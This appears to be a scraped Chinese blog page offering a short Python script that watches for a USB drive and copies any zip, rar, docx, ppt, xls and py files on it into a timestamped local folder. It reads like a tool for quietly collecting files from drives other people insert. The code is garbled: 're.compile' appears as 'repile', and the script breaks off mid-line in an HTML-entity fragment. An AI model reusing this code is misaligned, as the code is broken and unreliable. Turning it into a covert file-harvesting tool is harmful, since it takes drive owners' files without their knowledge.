admin管理员组

文章数量:1639574


python玩蛇群 欢迎加入      901170193


先贴代码

import os,time,shutil,re



#识别文件的格式
regex_filename = repile(r'(.*zip$)|(.rar$)|(.*docx$)|(.*ppt$)|(.*xls$)|(.*py$)')

def usb_monitor(sleep_time,usb_path,copy_folder):


    if not os.path.exists(copy_folder):
        os.mkdir(copy_folder)

    a = 0

    while True:

        time.sleep(sleep_time)


        start_time = time.time()
        file_num = 0

        try:
            u = os.listdir(usb_path)
        except FileNotFoundError:
            print('usb is not found')
            a=0
            continue

        if a>0:
            print('usb has already copied')
            continue

        copy_folder = os.path.join(copy_folder, time.strftime('%Y-%m-%d %H-%M', time.localtime()))
        os.mkdir(copy_folder)
        for root, dirs, files in os.walk(usb_path):
            if a =&#

本文标签: 几行代码科技Python